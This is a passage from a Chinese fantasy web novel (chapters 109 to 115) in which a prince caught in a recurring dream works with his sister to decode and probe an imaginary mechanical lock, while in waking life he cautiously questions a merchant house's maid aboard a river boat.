他没有立刻去回想**的恐怖与痛苦,而是用尽全力,死死抓住脑海中那惊鸿一瞥、却无比清晰的影像——那“璇玑枢”在解体瞬间暴露出的、哪怕只是冰山一角的内部结构!那齿轮的咬合方式,那轴心的悬浮轨迹,那簧·片的奇异排列,还有那核心处几个闪烁着微光的、仿佛蕴含着天地至理的奇异符号!
更重要的是,二姐周灵薇最后那声“反逻辑陷阱”的惊呼,以及她观察、试探、报出
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的每一个数据,每一句分析,都如同烙印般,深深镌刻在他的记忆里!
“预应力方向是陷阱……回弹是逆向触发……阵列有整体左旋趋势……归零标记偏移西北三毫……”
他低声重复着,眼中爆发出骇人的精光。这一次,不再是盲目的死亡,甚至不再是简单的信息获取!这是一次用生命换来的、针对“璇玑枢”外围阵列的、有理论指导的主动试探!虽然失败了,引爆了机关,但却揭示了致命的陷阱机制,验证了部分理论推测,并窥见了核心结构的惊鸿一瞥!
“质数齿数……反逻辑预应力……逆向触发……还有那‘归零标记’的真正含义……”无数信息碎片在他脑中疯狂碰撞、组合、推演。结合之前循环中积累的所有信息,那张原本模糊的“璇玑枢”内部结构图,正在以前所未有的速度,变得清晰、立体、生动起来!
他猛地掀开薄被,不顾身上被汗水浸透的冰凉,跌跌撞撞地扑到书案前,点燃油灯。
昏黄的光芒照亮了他因激动而微微颤抖的手和苍白的脸。他抓起笔,蘸饱墨汁,不顾一切地在纸上疯狂勾勒起来!
齿轮的形态、轴心的位置、簧·片的弧度、那些奇异符号的排列……还有二姐提到的“七星拱月游移阵”的排布规律、“反逻辑陷阱”的可能原理……
他画得飞快,线条时而肯定,时而犹豫,时而涂改,时而顿悟般添上几笔。汗水顺着额角滑落,滴在纸上,晕开了墨迹,他也浑然不觉。
脑海中,那毁灭性的银蓝光芒与梦幻的齿轮蝶影不断交织,最后定格在“璇玑枢”核心处,那几个仿佛拥有生命般微微旋转、散发着微光的奇异符号上。
“这……这是什么?”他盯着自己无意识画出的符号,眉头紧锁。这符号不属于他已知的任何文字或图谱,却带着一种诡异的、令人心神悸动的韵律感。
就在他全神贯注于回忆与推演时,舷窗外,漆黑的江面之上,浓重的夜色深处,似乎有一点微不可察的、与他脑海中符号光芒颜色相似的银蓝色光点,极其短暂地闪烁了一下,随即隐没在无尽的黑暗与涛声之中。
周昕阳若有所觉,笔尖微微一顿,抬头望向舷窗外,却只看到一片沉沉的黑暗和船舱内自己摇晃的倒影。
是错觉吗?
他摇了摇头,将那一丝异样压下,重新将全部心神投入到面前的图纸上。
下一次……下一次循环,他一定要……
不,不仅仅是下一次循环。
周昕阳停下笔,看着纸上那逐渐成型的、比以往任何一次都要详尽、都要接近真相的“璇玑枢”推演图,眼中燃烧起冰冷的火焰。
现实中的棋局,也该动一动了。有了这些用“命”换来的关键信息,或许……是时候,去会一会那位来自西域萨迪克商会的侍女,阿月了。
墨蛟号在夜色中破浪前行,船舱内,灯火摇曳,映照着年轻人苍白而专注的侧脸,以及纸上那逐渐显露狰狞与玄妙的机关图谱。
漫漫长夜,似乎终于撕开了一丝透光的缝隙。
第110章 继续学习
周昕阳放下笔,指尖因用力而微微发白,目光却亮得惊人。
纸上,一幅远比之前任何一次都更精细、更复杂的结构图已具雏形。虽然许多关键连接仍是虚线,核心的“璇玑枢”部分更是只有大致的轮廓和几个意义不明的符号,但其外围齿轮阵列的联动关系、几个关键卡榫和簧·片的受力方向、尤其是那要命的“反逻辑预应力陷阱”的触发原理,都已用清晰的线条和标注勾勒出来。旁边密密麻麻的小字,记录着二姐周灵薇在最后那惊心动魄的试探中,观察到的每一个细节、报出的每一个数据、以及她那些精辟的分析。
“质数齿数啮合……增加变化周期……预应力方向是陷阱……回弹即逆向触发……归零标记偏移西北三毫……阵列有整体左旋趋势……”
他低声重复着这些关键词,脑海中飞速构建着动态模型。每一次失败,尤其是这一次在二姐指导下、有计划、有目的的“定向失败”,都让他对这“璇玑枢”的可怕与精妙,有了更深刻的认识,也积累了更宝贵的、用“命”换来的数据。
“下一次……”他盯着图纸上那几个闪烁微光的奇异符号,那是“璇玑枢”核心处惊鸿一瞥留下的烙印,“必须验证这个‘归零标记’的真正作用。还有,那个反逻辑陷阱的触发阈值……或许,可以从预应力施加的‘逆向’入手?”
一个大胆的念头在脑海中成型。既然正向试探会触发逆向机关,那么……如果反其道而行之呢?
在触碰的瞬间,不是施加压力,而是施加一个极其微小的、反向的“吸”力或“引导”力,模拟齿轮的自然回弹,会怎样?这需要极其精妙的工具和对力量入微的控制,但二姐或许能做到。
还有那些质数齿数……3,5,7,11,13,17,19……它们的乘积是一个天文数字,但它们的组合变化,是否遵循某种数论上的规律?比如,模运算?同余定理?周昕阳并非数术大家,但基本的数理还是懂的。这或许是一个全新的突破口。
他将这些想法迅速记在纸的空白处。梦境中的记忆会随着时间流逝而模糊,必须尽快固化。
做完这一切,他才长长舒了一口气,感到一阵虚脱般的疲惫袭来,不仅仅是精神上的,更有一种来自灵魂深处的倦怠。
每一次死亡轮回,似乎都在消耗着某种无形的东西。他必须尽快破局。
窗外,天色依旧漆黑,距离黎明尚有一段时间。但周昕阳已无睡意。他吹熄油灯,和衣躺下,闭上眼睛,强迫自己进入一种半睡半醒的冥想状态,在脑海中反复推演、复盘刚才的梦境,尤其是最后那毁灭性**前,“璇玑枢”惊鸿一现的结构和那只诡异的、仿佛由齿轮与光线构成的蝴蝶虚影。
“蝴蝶……”他心中默念。这已不是第一次在梦境终结时看到它了。它似乎与这无尽的循环,有着某种深层的联系。那银蓝色的光芒,与“璇玑枢”核心符号的光芒,何其相似!
时间在寂静中流逝。当舱外传来第一声隐约的鸡鸣,天际泛起鱼肚白时,周昕阳睁开了眼睛。眸中的疲惫已被深沉的锐利所取代。
新的一天开始了。现实的棋局,也该落子了。
他起身,略作梳洗,换上一身常服。
镜中的青年面色有些苍白,但眼神沉静,深处却燃烧着冰冷的火焰。他知道,沈砚的眼睛时刻在暗处注视着他。他必须表现得像一位因好学而略有疲惫,但一切如常的亲王。
“来人。”他对着舱门外唤道。
几乎在他话音落下的同时,门外便传来沈砚那清冷平静的声音:“王爷有何吩咐?”仿佛他一直就守在门外寸步未离。
“传早膳。另外,”周昕阳顿了顿,语气如常,“昨日与阿月姑娘学了基础,今日巳时,继续在前甲板授课。内容可加深些,譬如西域商路见闻、各地风物特产之名。让她提前准备一下。”
“是,属下遵命。”沈砚的声音毫无波澜
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,听不出任何情绪。
早膳很快送来,清淡精致。
周昕阳慢条斯理地用着,脑中却在飞速构思着与阿月接下来的教学内容。
昨日只是初步接触和试探,今日必须更进一步。
西域商路、风物特产……这些都是绝佳的话题切入点,可以不动声色地套取关于萨迪克商会、关于西域局势、乃至关于墨家遗族可能流落西域的蛛丝马迹。
更重要的是,他需要评估阿月在经历了昨日初步接触后,今日的状态。
是依旧谨慎恭顺,还是流露出些许不同?
她对自己那句京城多雨的感慨,是否有所领悟?哪怕只是一个眼神的细微变化。
用过早膳,周昕阳信步走到舷窗边,望着窗外渐渐亮起的天色和奔流不息的江水。
墨蛟号正平稳地驶向泽口堰,那是中原与西域商路的重要水陆枢纽,萨迪克商会的大队人马很可能在那里汇合或停留。
到达泽口堰之前,是他与阿月建立初步联系、评估其价值的最后窗口期。
必须抓紧。
辰时三刻,周昕阳准时出现在前甲板。
依旧是昨日的布置,桌椅、茶点,沈砚坐在侧后方,两名宸察卫如铁塔般立在稍远处。
阿月依旧是一身素色衣裙,轻纱遮面,垂首恭立。见到周昕阳,她依礼下拜,动作无可挑剔。
“起来吧,不必多礼。”周昕阳坐下,语气平和,“昨日所学,可还记得?”
“回王爷,奴婢记得。”阿月的声音透过面纱传来,依旧带着异域口音,但吐字清晰。她依言复述了几个昨日所学的简单问候语和数字,发音标准。
“嗯,不错。”周昕阳点点头,示意她坐下,“今日我们学些别的。孤对西域商路颇感兴趣,听闻丝路之上,驼铃不绝,货殖繁华。你且与孤说说,自玉门关而出,往西主要有哪些商道?沿途又有哪些大城、部族?”
他开始将话题引向更广阔、也更可能蕴含信息的领域。
第111章 风土人情
阿月似乎微微怔了一下,但很快便流畅地回答起来,从阳关、玉门关说起,提及敦煌、鄯善、于阗、疏勒等西域重镇,又说到更西的粟特诸城邦如撒马尔罕、布哈拉,乃至波斯、大食。她对商路走向、主要货物集散地、乃至沿途主要部族的风俗禁忌,都如数家珍,显然受过良好的训练,知识储备远超一个普通婢女。
周昕阳听得很认真,不时发问,问题都围绕着商路本身,显得纯粹是出于好奇和求知欲。
沈砚在一旁静静听着,目光大部分时间落在周昕阳身上,偶尔也会扫过阿月,但并未出言打断。
“听闻萨迪克商会生意做得极大,不仅往来于中原与西域,甚至与大食、拂菻亦有贸易?”周昕阳状似无意地问道,端起茶盏抿了一口。
阿月垂眸答道:“王爷明鉴。敝商会确与西方诸国有些往来,主要贩运丝绸、瓷器、茶叶至西,换取宝石、香料、玻璃器等物。”
“哦?宝石?”周昕阳露出感兴趣的神色,“听闻西域盛产美玉,于阗白玉、和田籽料,皆为珍品。却不知,除了玉石,可还有别的稀奇宝石?譬如……那种在暗处也能自行发光的夜光璧?或是色泽奇异、内蕴星辰的异石?”他刻意将话题引向一些可能带有奇异、非常属性的宝石,试图与“墨家遗族”可能保留的、带有某些特殊性质的材料产生关联。
阿月沉吟片刻,答道:“回王爷,夜光之璧,奴婢未曾亲见,但听商会老管事提及,极西之地确有类似奇石,然极其罕见,价值连城。至于内蕴星辰的异石……奴婢孤陋,未曾听闻。”她回答得谨慎,并未深入。
周昕阳也不纠缠,转而问道:“商路漫长,险阻重重,除了天灾,怕也有人祸。你们商会行走四方,可有什么保平安的诀窍?或是……识别路途是否平安的特殊方法?”他再次隐晦地指向暗语、标记这类可能存在的信息传递方式。
阿月眼帘微垂,声音平稳:“赖天子洪福,商路大体安宁。敝商会行走,一靠朝廷颁发的过所文书,二靠与沿途部族头人、绿洲酋长的旧谊,三则……便是小心谨慎,察言观色,不与匪类交道。至于特殊方法……无非是多派哨探,勤查路况罢了。”她再次将话题轻轻带过,回答得滴水不漏。
周昕阳心中暗忖,此女机警,寻常旁敲侧击难以奏效。他决定再深入一步,但换个角度。
“原来如此。”他点点头,仿佛接受了这个说法,转而叹道:“行商不易,尤其是运送珍稀之物,更需万般小心。譬如今岁父皇万寿,内府需采办一批极品西域火玉与金刚石为贺,着落几家皇商办理。孤听闻,其中颇有些物件,需用特殊机关匣盛放,以防磕碰失窃。却不知你们西域商人,运送此等重宝,可用什么巧妙法子?”
他看似在感慨和询问商业手段,实则将机关二字自然而然地嵌入了对话中,并观察阿月的反应。
阿月似乎并未察觉异常,只是恭敬答道:“王爷说的是。珍贵货物,尤其如玉器宝石,确需妥善保管。敝商会运送此类货物,多用特制软衬木匣,内置丝绒固定。若路途特别颠簸或不太平,则会聘请可靠镖师,或使用更为坚固的包铁箱笼。至于机关匣……奴婢见识浅薄,只听闻极西之地有些巧手工匠能制,中原似更盛行此道。”她将机关轻轻推回了中原,回答依旧谨慎,但提到了极西巧手工匠,算是一个小小的信息点。
周昕阳心中微动,记下了极西巧手工匠这个说法。他不再追问,转而笑道:“看来四海皆有能人。今日便学到这里吧,孤有些倦了。你且将方才提到的那些西域大城、特产之物,用粟特语说与孤听听,孤试着记诵。”
他将话题拉回纯粹的语言学习,结束了这次试探。
阿月依言开始教授,周昕阳也认真跟着学,仿佛刚才那些对话只是寻常闲谈。
一个时辰的教学很快过去。周昕阳赏了阿月一些银钱,便让她退下了。自始至终,阿月都表现得恭敬、顺从、有问必答但绝不多言,谨守本分。
对于周昕阳昨日那句京城多雨的感慨,她今日也毫无反应,仿佛从未听过。
周昕阳面上不露分毫,心中却思绪翻腾。阿月应对得体,近乎完美,但这恰恰说明她绝非普通婢女。
她的知识储备、应变能力、以及那份沉静谨慎,都远超其身份。她像一口深井,表面平静无波,却难以窥见深处是否另有乾坤
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是沈砚安排的人?还是萨迪克商会本身培养的精干人员?亦或者……她背后另有其人?
“沈大人,”周昕阳忽然开口,看向一旁静立的沈砚,“这阿月姑娘,倒是颇通西域事务,言语也清晰。萨迪克商会能得父皇青睐,确非无因。”
沈砚躬身道:“王爷说的是。萨迪克商会乃西域大贾,与朝廷往来多年,其下之人,自然需得历练。此女能随船侍奉王爷,想必也是商会中伶俐之人。”
这话说得圆滑,既肯定了阿月,又撇清了自己的关系,将一切都归咎于商会本身的素质。
周昕阳不置可否地“嗯”了一声,起身道:“今日便到此吧。孤有些乏了,回舱歇息。若无要事,不必打扰。”
“是,恭送王爷。”沈砚垂首。
回到舱室,周昕阳屏退左右,独自站在舷窗前,望着浩渺江水,眉头微蹙。
阿月这条线,比他预想的更“滑”。她足够聪明,足够警惕,难以轻易撬动。
常规的试探,恐怕难以取得突破。需要更巧妙、更不经意、甚至……更冒险的方法。
或许,可以从她教授的语言内容本身入手?
粟特语中,是否本身就存在某些可用于隐秘沟通的词汇、谚语或双关?
或者,利用教学时的书写?传递经过伪装的、只有特定人才能看懂的图形或符号?
还有那只在梦境终结时出现的蝴蝶……银蓝色的光,与“璇玑枢”核心符号的光……这两者之间,是否真有联系?
与这无尽的梦境循环,又是什么关系?
一个个疑问在脑海中盘旋。但眼下,他需要休息,更需要整理思绪,为下一次梦境——或许就是破解“璇玑枢”的关键一搏——做准备。
他走回书案前,再次展开那幅未完成的机关图,目光落在“璇玑枢”核心那几个奇异符号上。
“质数……反逻辑……归零标记……蝴蝶……”
他喃喃自语,指尖无意识地在桌上轻轻划动,仿佛在模拟着某种复杂的轨迹。
窗外,日头渐高,江水东流。墨蛟号载着重重迷雾与一线微光,坚定地驶向既定的方向,也驶向那命运交织、危机四伏的未知前方。
第112章 璇玑
周昕阳站在舷窗前,望着浩渺江面,眉头微蹙。阿月的应对滴水不漏,如同一块光滑的鹅卵石,难以着手。他需要更锐利的楔子,更隐蔽的切口。
“她提到‘极西巧手工匠’,又对中原机关术语避而不谈……”周昕阳指尖无意识地敲击着窗棂,心中思忖,“是巧合,还是刻意?萨迪克商会行走丝路,见识广博,知晓西方奇巧之物不足为奇。但将‘机关’推回中原,是谨慎自保,还是……在暗示什么?”
他走回书案前,目光落在那幅未完成的机关图上。墨家遗术,机关锁,萨迪克商会,阿月……这些看似无关的线索,是否能让我们在“极西之地”与“中原机关”之间,找到某种隐晦的联系?
或者说,阿月是在用这种方式,既回答了问题,又不露痕迹地划清界限?
“不能急。”周昕阳告诫自己。沈砚的眼睛无处不在,任何过于明显的试探都可能招致怀疑。他需要一种更自然、更绵长的方式,将信息编码在日常的、看似无害的交流中。
他重新铺开一张纸,提笔蘸墨,却非作画,而是开始罗列今日教学中阿月提及的粟特语词汇,尤其是那些与货物、交易、路途、辨识相关的词语。
他尝试寻找其中可能存在的双关、谐音,或者与中原某些暗语体系的潜在对应关系。这是一项枯燥而耗时的工作,如同大海捞针,但或许是建立隐秘沟通的起点。
同时,他脑中也在飞速复盘着刚刚结束的梦境循环。二姐最后那声“反逻辑陷阱”的惊呼,以及“璇玑枢”在**瞬间惊鸿一现的内部结构,尤其是那几个闪烁微光的奇异符号,不断在眼前闪现。
“归零标记……偏移西北三毫……阵列整体左旋趋势……”他低声重复,指尖在虚空中模拟着齿轮的转动,“预应力是陷阱,触碰后的回弹是逆向触发……那么,如果不在其紧绷时触碰,而在其……自然回弹的瞬间,施加一个同向的、极其微弱的助力呢?或者,在它回弹之前,就先一步解除施加预应力的源头?”
这个想法很大胆,需要对“璇玑枢”的联动机制有更深的理解。他再次审视脑海中的记忆碎片,试图拼凑出更完整的“反逻辑陷阱”触发原理图。
那银蓝色的蝶影与符号光芒再次浮现,带着某种令人心悸的韵律感。
“蝴蝶……符号……光……”他隐约觉得,这或许是比机关结构本身更关键的线索,但线索太模糊,无从下手。
他收敛心神,将注意力重新拉回现实。当务之急,是消化梦境所得,并为下一次循环做好准备。
他需要一套更完善的试探方案,以验证“归零标记”和“反逻辑预应力”。
时间在沉思与推演中悄然流逝。
午膳后,周昕阳以研读西域地理志为名,再次将阿月唤至前甲板。
这次,他不再泛泛而谈商路,而是聚焦于具体的货物鉴别与交易细节。
“听闻西域商贾,鉴定宝石美玉,自有秘法,非言语可尽传。却不知,在粟特语中,对于玉石之温润、金刚石之璀璨、祖母绿之深邃,可有精妙独到之词汇区分?”周昕阳摆出好学王爷的姿态,仿佛真的对珠宝鉴赏产生了浓厚兴趣。
阿月依旧恭敬应答,词汇精准,描述得当,但依旧局限于常识范畴。
周昕阳并不气馁,话锋一转,似是无意道:“器物之妙,有时不在其表,而在其用。譬如中原有些机巧盒子,外观平平,内里却暗藏乾坤,非知其诀窍不能开启。却不知西域商路,可曾贩运过此类有趣之物?其开启之法,是否也有如‘芝麻开门’般的口诀秘钥?”他借用了中原小儿皆知的《天方夜谭》典故,将话题引向“机关”与“口诀秘钥”,试探阿月是否了解类似“密码”或“暗号”开启的机关装置。
阿月眸光几不可察地微动,但语气依旧平稳:“王爷说笑了。西域商路所贩,多为实利之物。纵有奇巧机关,也多用于计时、测绘、或贵族玩赏,其开启不外钥匙、旋钮,未闻有口诀秘钥之说。芝麻开门乃是故事,当不得真。”她再次将话题轻轻
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带过,但周昕阳敏锐地捕捉到了她那一瞬间的细微反应——那不是茫然,而是一种下意识的谨慎回避。
“是么?倒是孤想岔了。”周昕阳笑了笑,不再深究,转而问起西域葡萄酒的酿制与品鉴。阿月对答如流,显然对此道颇为熟稔。
课程在看似轻松的氛围中结束。周昕阳赏赐了些宫中点心,阿月谢恩退下。整个过程中,沈砚始终如一尊沉默的雕像,侍立在不远处。
回到舱室,周昕阳闭目沉思。阿月对“口诀秘钥”话题的回避,反而加深了他的怀疑。
她并非一无所知,而是在刻意规避。这种规避本身,就是一种信息。
“需要施加一点压力,或者……给出更明确的信号。”周昕阳心想。但必须极其小心,不能引起沈砚的警觉。或许,可以借助“学习”本身?
他心生一计。下一次教学时,周昕阳偶然提及,自己翻阅杂记,看到一则前朝逸闻,说是有西域胡商带来一“自鸣钟”,结构精妙,能按时自鸣,其核心有一“璇玑”般的小轮,以“水火之力”驱动,不知是真是假。
他故意将“璇玑”二字咬得略重,并用笔在纸上写下了这两个字,询问阿月在粟特语中如何表述这种精巧的、会自己转动的核心机括……
“璇玑”一词,在中原文化中既可指北斗,亦可喻指枢纽、关键,但在墨家机关术的语境下,尤其在周昕阳与二姐的探讨中,特指那种控制无穷变化的核心枢纽。他这是在冒险投石问路,试探阿月是否对这个词有超越常识的反应。
阿月看到纸上的字,沉默了片刻。
这一次,她的迟疑比之前任何一次都要明显。她垂下眼帘,似乎在仔细回忆,又像是在斟酌措辞。
良久,她才用粟特语缓缓说出了一个词组,发音拗口,意为“星辰之心”或“运转的核心”,并补充道,这只是她根据字面意思的直译,西域是否有完全对应的器物,她并不知晓。
周昕阳心头一紧,来了!
这才是他要的情报!
第113章 再次入梦
“星辰之心……运转的核心……”周昕阳在心中默念。这个翻译,不能说不对,但总感觉隔了一层。阿月的反应,与其说是不知,不如说是一种有选择的、谨慎的翻译。她避开了“璇玑”可能蕴含的、更深层的机关术专指含义。
“看来,寻常的言语试探,难以撼动其心防。”周昕阳暗忖。他需要更直接、但看起来又合情合理的接触借口。
阿月离开后,周昕阳独自在舱中**良久。指尖在桌面上无意识地划着那几个粟特语词汇,尤其是那个“星辰之心”。
“星辰……运转的核心……蝴蝶……银光符号……”破碎的线索在脑海中盘旋,却始终难以串联。他感觉答案就在迷雾之后,触手可及,却又隔着一层无法穿透的纱。
是夜,月明星稀。
周昕阳摒除杂念,早早歇下。
他知道,下一次梦境循环至关重要。
他必须将现实中与阿月接触的种种细节,与梦境中获得的信息结合起来,制定出更有针对性的破解策略。尤其是关于“归零标记”和“反逻辑陷阱”的验证,必须在下一次循环中有所突破。
带着纷乱的思绪和坚定的决心,周昕阳沉沉睡去。
朦胧、黑暗、寂静。
再次感受到那种奇妙的抽离感,仿佛化为流光,在无尽的虚空中穿梭。
远处,那浩瀚的、流淌着银辉的光河再次出现。
下一刻——
“醒一醒!”
“王爷,你怎么了?”
冷千嶂熟悉的声音在耳畔响起。
周昕阳猛地睁开眼,偏殿熟悉的景象映入眼帘。铁箱,铜锁,锁匠们,还有面具下冷千嶂那双审视的眼睛。
又回来了。
但这一次,周昕阳的心境截然不同。
他没有丝毫迷茫或焦虑,只有一片冰冷的清明。脑海中,二姐关于“反逻辑陷阱”和“归零标记”的分析,阿月那意味深长的“星辰之心”,以及前几次循环积累的所有碎片信息,如同潮水般涌来,迅速组合、推演。
“王爷,你怎么了?”冷千嶂的声音再次响起,带着一丝疑惑。周昕阳这次醒来后的眼神,太过锐利沉静,与往日不同。
“无事。”周昕阳摇了摇头,声音平稳无波,“突然想到一些关窍。冷千户,孤要立刻面圣。”
流程再次启动。
养心殿,面圣,请旨,得金牌。一切如同复刻,但周昕阳的行动更加迅捷,目标更加明确。
他不再与昭明帝多作周旋,拿到令牌后,直奔主题。
他没有再去逼问皇后——那一步的信息已足够。他甚至没有过多耽搁,直接持金牌找到了正在藏书阁深处查阅典籍的二姐周灵薇。
“二姐,我需要你帮忙,有件事情……”周昕阳开门见山,亮出金牌,语气是不容置疑的紧迫。
周灵薇看着他手中的金牌和眼中不容错辨的决绝,没有多问,只是深深看了他一眼,合上手中古籍:“带路。”
再入东宫偏殿。灯火通明下,那漆黑的铁箱与森冷的铜锁静静矗立,如同蛰伏的凶兽。
周昕阳没有浪费时间,直接将上次循环中,二姐探查后得出的关键结论——尤其是关于“反逻辑陷阱”、“预应力方向是陷阱”、“归零标记偏移”以及“阵列整体左旋趋势”的发现,结合自己最后窥见的“璇玑枢”核心一角和奇异符号,尽数告知周灵薇。
当然,他隐去了循环和死亡的部分,只说是自己苦思冥想、结合之前观察的大胆推测。
周灵薇初时惊疑,但越听神色越是凝重,眼中渐渐爆发出惊人的神采。
“反逻辑……预应力陷阱……归零标记偏移……整体左旋……”她喃喃重复着,快步走到锁前,再次仔细观察,尤其是周昕阳提及的那几个关键点。越是观察,她眼中的光芒越盛。
“老九,你这些‘推测’……简直……”她转过头,看着周昕阳,目光复杂无比,有震撼,有探究,更有一种遇到知音般的激动,“若你所言非虚,那之前许多不解之处,便豁然开朗!这‘璇玑枢’的设计,并非完全无序,而是建立在一套‘逆反’与‘循环’的基理之上!归零标记的偏移,或许并非误差,而是……初始相位指示!整体左旋趋势,或许暗示了其基础变化方向!”
她迅速拿起炭笔,在一旁准备好的白纸上飞速演算、画图
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。“若初始相位为‘偏移西北三毫’,基础变化趋势为‘左旋’,再结合‘反逻辑陷阱’的特性……那么,正确的触发顺序,或许并非解除预应力,而是……顺应其预应力,但在其自然回弹的临界点,施加一个反向的、极其微弱的‘阻滞’或‘引导’,使其回弹轨迹发生极其微小的偏转,从而跳脱出预设的‘陷阱’回路,进入另一个……安全的变化分支?”
她的思路越来越清晰,语速也越来越快:“还有你提到的核心符号……若与星辰运转对应,‘星辰之心’……或许并非比喻,而是暗示其变化规律,遵循某种星象运行之理?北斗璇玑,星辰列张……其变化周期,或许与某种星图或历法相关?”
周昕阳心中剧震!
二姐的推理能力果然恐怖!
自己只是提供了几个关键碎片和提示,她竟然在如此短的时间内,就串联起来,并推导出如此接近真相的可能性!
“顺应预应力,临界点反向微调”,“变化规律或与星象相关”——这几乎直指破解的核心思路!比他之前模糊的想法清晰了何止十倍!
“二姐,依你之见,我们该如何验证?”周昕阳强压激动,沉声问。
周灵薇盯着锁具,目光灼灼,仿佛要将其看穿:“需要一次极其精密的操作。不再试探齿轮,而是针对‘归零标记’对应的那个偏心盘支撑轴。用最细的探针,在预应力释放、阵列即将左旋回弹的瞬间——这个瞬间极难把握,可能只有弹指一刹——施加一个极微弱的、向右的横向力,改变其回弹角度。
同时,必须密切注意核心区域那几个符号的微光变化……你确定你看到了符号发光?”
“确定。”周昕阳斩钉截铁。虽然只是惊鸿一瞥,但那银蓝色的微光,他绝不会看错。
“好!”周灵薇眼中闪过决绝,“若符号发光,且光华流转方向与阵列变化呼应,则证明你的‘星象对应’猜想很可能为真!我们便有了进一步推演变化规律的依据!但此操作凶险万分,力道、时机、角度,差之毫厘,谬以千里,很可能瞬间触发毁灭机关。”
“有几成把握?”周昕阳问。
第114章 再次惊醒
“若计算无误,手法完美,有三成把握成功引导其进入安全分支。有五成可能,触发次级警戒机关,锁死或局部破坏。还有两成……”周灵薇没有说下去,但意思很明显。
三成!
比起之前盲人摸象,已是天壤之别!
“值得一试。”周昕阳没有丝毫犹豫。梦境可以重来,机会稍纵即逝。
周灵薇不再多言,开始准备。
她挑选了最细、弹性最好的一根乌金探针,在灯火上细细炙烤消毒,又用特制的药水擦拭尖端。
她让周昕阳稳住最强的光源,对准“归零标记”和核心符号可能所在的区域。她自己则屏息凝神,将状态调整到巅峰,右手三指捏住探针尾端,左手轻轻虚按在锁体上,感受着那微不可察的、来自内部的、规律而低沉的震颤——那是“璇玑枢”在预应力作用下,产生的一种动态平衡的微弱脉动。
她在寻找那个“临界点”。
时间一分一秒过去,殿内落针可闻。周昕阳甚至能听到自己血液流动的声音。
他死死盯着二姐的手,和那幽深的锁孔。
突然,周灵薇的睫毛几不可察地颤动了一下。
就是现在!
她的手腕以肉眼难以捕捉的幅度微微一抖,乌金探针化作一道几乎看不见的细影,精准无比地探入锁孔深处,并非直刺,而是以一种奇异的、螺旋般的轻微震颤,点向了某个预设的、经过无数次计算的微小凸起!
“叮——”
一声轻微到极致的、仿佛玉磬轻鸣的脆响,从锁体深处传来!
紧接着,那一直低沉规律的震颤,骤然发生了极其细微的变化!频率似乎加快了一丝,方向也有了微不可查的偏转!
周灵薇的手稳如磐石,但额角瞬间沁出细密的汗珠。她的感知全部凝聚在针尖,透过那细微的震颤,感受着锁芯内部天翻地覆的变化。
周昕阳的心脏几乎停止了跳动,他死死盯着锁体核心区域——那里,一点微弱的、此前从未出现过的、带着星辰般银蓝色泽的光芒,幽幽亮起!
并非**的前兆,而是一种稳定的、仿佛呼吸般明灭的微光!光芒中,几个奇异符号的轮廓隐约浮现,并且……正在极其缓慢地、沿着逆时针方向,旋转、变化!
“成功了……初步引导成功!阵列脱离了预设的死亡回路,进入了……安全旁支!符号在动,符合左旋趋势,但速度慢了十倍不止!”周灵薇的声音带着压抑不住的颤抖和狂喜,但手上动作丝毫未停,探针依旧以某种奇异的频率和幅度微微震颤,似乎在不断进行着微调,维持着这种脆弱而宝贵的平衡。
“能坚持多久?能看到多少变化?”周昕阳急问,他知道机会千载难逢。
“不知道!变化在持续,但极慢!我在尽量维持引导力,但预应力在重新积累,平衡很快会被打破!快看!记住符号的变化顺序和轨迹!”周灵薇低吼,汗水已经浸湿了她的鬓发。
周昕阳瞪大眼睛,将全部心神都投入到那银蓝色微光之中。符号的形态、旋转的角度、明灭的节奏……每一个细节都如同刀刻斧凿般印入脑海!他从未如此刻般感谢这梦境赋予的、超越常人的记忆与洞察力!
一息,两息,三息……
银蓝光芒稳定地闪烁着,符号缓缓旋转,如同夜空中的星图在徐徐展开一角。
但周昕阳敏锐地察觉到,那光芒的稳定性似乎在下降,明灭的频率开始加快,符号旋转也出现了细微的卡顿。
“不好!预应力要反噬了!平衡即将崩溃!”周灵薇脸色瞬间煞白,她感到探针上传来的反震力正在急剧增强,那精妙的引导正在迅速失效,“老九!记住最后的位置!我要撤了!”
就在她话音落下的刹那——
“嗡——!”
锁体内部传来一声更加高亢、更加急促的震颤鸣响!银蓝色光芒骤然变得不稳定,剧烈闪烁起来!
“撤!”周灵薇用尽全身力气,手腕一抖一弹,乌金探针以一种玄妙的角度瞬间收回!而就在针尖离开锁孔的同一瞬间——
“咔嚓!咯咯咯——轰!!!”
比之前任何一次都要猛烈
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、都要急促的**,从锁体内部迸发!炽白的火焰与银蓝色的电弧交织喷涌,瞬间吞噬了铁箱周围数尺的空间!狂暴的气浪将两人狠狠掀飞出去!
在意识被撕裂的最后一瞬,周昕阳的眼中,不再是纯粹的毁灭火焰,而是那银蓝光芒在爆裂前最后一刹那,所定格下的、几个奇异符号最终组成的、一个残缺却蕴含无穷奥妙的图案!以及,那仿佛从光芒中心振翅飞出的、更加清晰凝实的、由齿轮与光线构成的瑰丽蝶影!
“嗬——!!!”
周昕阳再次从墨蛟号的床榻上弹坐而起,冷汗淋漓,心脏狂跳,耳边似乎还回荡着那最后的**轰鸣与金属扭曲的哀鸣。
但这一次,他没有丝毫死亡的恐惧,只有一种近乎战栗的狂喜与亢奋!
他看到了!
虽然只有短短几息,但他看到了“璇玑枢”在安全状态下的部分变化轨迹!
看到了那些符号如何旋转、组合、演变!更重要的是,他记住了那银蓝光芒最终定格的残缺图案!
而且,二姐成功了!
她找到了初步引导的方法!虽然最终依旧触发了**,但那是因为维持引导的平衡被打破,而非直接触发毁灭机关!
这说明思路是对的!
方法可行!
下一次!只要下一次,计算更精准,时机把握更完美,维持引导的时间更长,他就能看到更多、更完整的变化序列!甚至……找到最终的破解关键!
他喘息着,看向舷窗外。
天色将明未明,墨蛟号正破开晨雾,向着泽口堰的方向驶去。
江风带着水汽涌入舱内,冷却了他沸腾的血液,却无法平息他眼中燃烧的火焰。
现实中的泽口堰即将抵达,与萨迪克商会接触的机会近在眼前。
而梦境中,破解“璇玑枢”的曙光,已刺破最深的黑暗,显露无疑。
现实与梦境,两条战线,他都已找到了前进的方向。
周昕阳擦去额头的冷汗,嘴角缓缓勾起一抹冰冷而锐利的弧度。
游戏,越来越有趣了。
第115章 北斗左旋、七星移位
他平复着剧烈的心跳,但脑海中那银蓝色的星图轨迹与奇异符号的排列组合,却如同烙印般清晰。
虽然只是残缺的片段,但结合前几次循环的积累和二姐的理论推演,一幅关于“璇玑枢”变化规律的模糊拼图,正在逐渐显现轮廓。
